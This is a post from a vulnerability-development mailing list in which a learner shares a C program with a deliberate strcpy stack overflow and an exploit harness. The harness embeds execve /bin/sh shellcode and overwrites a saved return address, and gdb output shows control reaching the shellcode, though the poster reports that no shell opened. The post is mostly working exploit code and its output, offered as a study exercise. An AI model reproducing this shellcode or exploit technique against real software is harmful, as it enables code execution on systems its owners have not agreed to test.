Vuln Dev
Re: Re: understanding buffer overflows Nov 01 2007 11:48PM
ma rebeco at
thank you!

this was a great example but it didnt work on my debian machine. - but it worked better than mine.

i have edited your example as folowed:

vuln.cpp:

#include <stdio.h>

#include <string.h>

int foo (char *input)

{

char buffer [10];

strcpy(buffer, input);

return (0);

}

int main (int argc, char * argv[])

{

if (argc > 1)

foo(argv[1]);

else

printf("usage: %s string", argv[0]);

return 1;

}

test.cpp:

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

int main()

{

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char buffer[20];

long myaddr=(long)&shellcode;

printf("Addr of Shellcode:%p\n",myaddr);

long bufadr=(long)&buffer[14];

*(long *)bufadr=myaddr;

execlp("./vuln", "vuln", buffer, NULL);

return 0;

}

and i think the output looks very ok - isnt it?

./test

Addr of Shellcode:0xbfef862a <<-

Speicherzugriffsfehler (core dumped)

and - i think the importent part - from gdb:

edi 0x0 0

eip 0xbfef862a 0xbfef862a <<-

eflags 0x210246 [ PF ZF IF RF ID ]

but no more shell session was loaded. :-(

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